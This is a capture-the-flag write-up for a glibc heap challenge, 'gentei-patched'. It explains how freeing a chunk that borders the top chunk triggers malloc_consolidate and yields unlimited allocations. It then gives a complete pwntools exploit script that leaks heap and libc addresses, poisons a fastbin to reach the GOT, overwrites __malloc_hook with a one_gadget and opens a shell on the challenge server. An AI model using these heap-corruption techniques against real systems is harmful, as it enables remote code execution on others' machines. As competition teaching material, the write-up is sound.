Gentei Patched Writeup
Overview
You should first check out the gentei post, as this is a sequel to it.
The difference between this and the old one is that here we can only allocate two chunks; also, we could place a fake chunk size right before the number of remaining chunks.
Pain
At the beginning, I fell into a rabbit hole trying the unlink attack. I reached a point where I had main_arena in the chunk array and could write to the fastbin pointers. However, with no chunk allocations left, there was nothing I could do, even if I had control over the fastbin.
A new road
Not knowing what to do, I started reading the libc malloc source code, which you can see here
My idea was to somehow fake right before the number of remaining chunks and then call malloc_consolidate to place unsorted bin pointers right on that value to gain infinite chunks.
This was only possible by using size 1, as otherwise we would encounter unlink operations, and there was no way to set up fake pointers at or near the fake chunks’ addresses, so execution would terminate.
I was triggering malloc_consolidate using _int_malloc by forcing scanf to create a very large chunk by giving it a lot of data.
My problem was that _int_malloc had this check, which did not let me place a fake chunk size less than 2 * SIZE_SZ, which was approximately 0x10, so the idea kinda went out the window, or so I thought.
A saving grace
Stepping back, I realised the malloc_consolidate from _int_free luckily did not have this check after it, but how to trigger it?
We needed to meet if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD), FASTBIN_CONSOLIDATION_THRESHOLD being 0x10000. Now, how do we do this, as we didn’t have any large allocations?
Reading more source code, we can see that at lines 4020 - 4022 in libc, it actually combines the consolidated chunks’ sizes.
So if we free a chunk that borders the top chunk, we could, in theory, trigger the consolidation, and in testing, I realised it worked.
Now that we had infinite chunks, I just used the technique in the normal gentei to get RCE and called it a day.
Exploit script
from pwn import *
elf = context.binary = ELF("gentei-patched")
libc = ELF(elf.runpath + b"/libc.so.6") # elf.libc broke again
context.log_level = 'debug'
host, port = '34.107.108.126', 32132
def newp():
if args.REMOTE:
return remote(host, port)
return process(elf.path)
def create(index, data):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"Guess: ", data)
def delete(index):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"Index: ", str(index).encode())
def show(index):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"Index: ", str(index).encode())
return p.recv(6)
def edit(index,data):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"Index: ", str(index).encode())
p.sendlineafter(b"guess: ", data)
def guess(guesses):
p.sendlineafter(b"> ", b"5")
p.sendlineafter(b"Number of guesses: ", str(guesses).encode())
consolidate_scanf = b'1' * 0x500
location_of_unsorted_bin_ptr = 0x602138
p = newp()
create(0,b'\x89')
create(1,b'A')
guess(0x1)
delete(1)
delete(0)
### HEAP LEAK ###
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"Index: ", b'0')
heap_leak = p.recvuntil(b'> ')[:-2]
heap_leak = u64(heap_leak.ljust(8,b'\x00'))
print(f'Leak: {hex(heap_leak)}')
heap_base = heap_leak - 0x20
print(f'heap_base: {hex(heap_base)}')
p.sendline(b'4')
p.sendlineafter(b"Index: ", b'0')
p.sendlineafter(b"guess: ", p64(0x6020e0))
delete(3)
#gdb.attach(p)
create(8,b'A')
delete(0)
edit(0, p64(0x602123))
create(6, b'A')
create(7, b'A')
GOT_addr = 0x602028
edit(7,b'B'*5 + p64(GOT_addr))
leak = show(3)
print(leak)
leak = u64(leak.ljust(8,b'\x00'))
print(hex(leak))
libc_base = leak - 429424
print(f'libc_base: {hex(libc_base)}')
one_gadget = libc_base + 0xd6fb1
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(7, b'B'*5 + p64(malloc_hook))
edit(3, p64(one_gadget))
## Trigger malloc to get shell
p.sendlineafter("> ", "1")
p.sendlineafter("Index: ", "5")
p.interactive()